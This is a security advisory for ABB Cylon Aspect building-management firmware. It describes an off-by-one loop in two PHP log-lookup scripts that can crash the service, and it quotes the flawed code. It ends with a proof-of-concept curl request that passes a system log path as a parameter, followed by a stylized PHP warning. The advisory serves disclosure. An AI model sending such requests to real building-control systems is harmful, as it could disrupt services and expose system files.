ABB Cylon Aspect 3.08.00 Off-By-One

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ABB Cylon Aspect 3.08.00 (log(Mix/Yum)Lookup.php) Off-by-One Error in Log Parsing  
  
  
Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
Firmware: <=3.08.00  
  
Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.  
  
Desc: A vulnerability was identified in a PHP script where an off-by-one  
error in array access could lead to undefined behavior and potential DoS.  
The issue arises in a loop that iterates over an array using a <= condition,  
allowing access to an out-of-bounds index. This can trigger errors or unexpected  
behavior when processing data, potentially crashing the application. Successful  
exploitation of this vulnerability can lead to a crash or disruption of service,  
especially if the script handles large data sets.  
  
Tested on: GNU/Linux 3.15.10 (armv7l)  
GNU/Linux 3.10.0 (x86_64)  
GNU/Linux 2.6.32 (x86_64)  
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
PHP/7.3.11  
PHP/5.6.30  
PHP/5.4.16  
PHP/4.4.8  
PHP/5.3.3  
AspectFT Automation Application Server  
lighttpd/1.4.32  
lighttpd/1.4.18  
Apache/2.2.15 (CentOS)  
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5861  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5861.php  
  
  
21.04.2024  
  
--  
  
  
$ cat project  
  
P R O J E C T  
  
.|  
| |  
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___ | | |. |' .---"|  
_ .-' '-. | | .--'| || | _| |  
.-'| _.| | || '-__ | | | || |  
|' | |. | || | | | | || |  
____| '-' ' "" '-' '-.' '` |____  
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░   
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░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
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░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░   
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░   
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░  
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░   
  
  
$ cat logYumLookup.php  
...  
...  
$line = file($logFile);  
{  
$x = 0;  
$data = "";  
for ($i = 0; $i <= count($line); $i++) { // Off-by-one error  
$data = $data . $line[$i]; // Potential out-of-bounds access  
$nextNumber = $i + 1;  
//need to check to see what the next line starts with so we know to include the next line in this bucket of data or a new bucket.  
  
  
$arrValues[$x] = $data;  
$x++;  
$data = "";  
  
}  
  
}  
...  
...  
  
$ cat logMixLookup.php  
...  
...  
$x = 0;  
$data = "";  
for ($i = 0; $i <= count($line); $i++) { Off-by-one error  
if ((strncmp($line[$i], "INFO", 4) == 0) || (strncmp($line[$i], "DEBUG", 5) == 0) || (strncmp($line[$i], "WARN", 4) == 0) || (strncmp($line[$i], "ERROR", 5) == 0) || (strncmp($line[$i], "FATAL", 5) == 0)) {  
$logCode = lookupLogOptionValue(substr($line[$i], 0, 5));  
...  
...  
  
$ curl http://192.168.73.31/logMixLookup.php?logFile=/var/log/yum.log  
...  
...  
PHP Warning: Undefined array key 31337 in /var/log/yum.log on line 1337  
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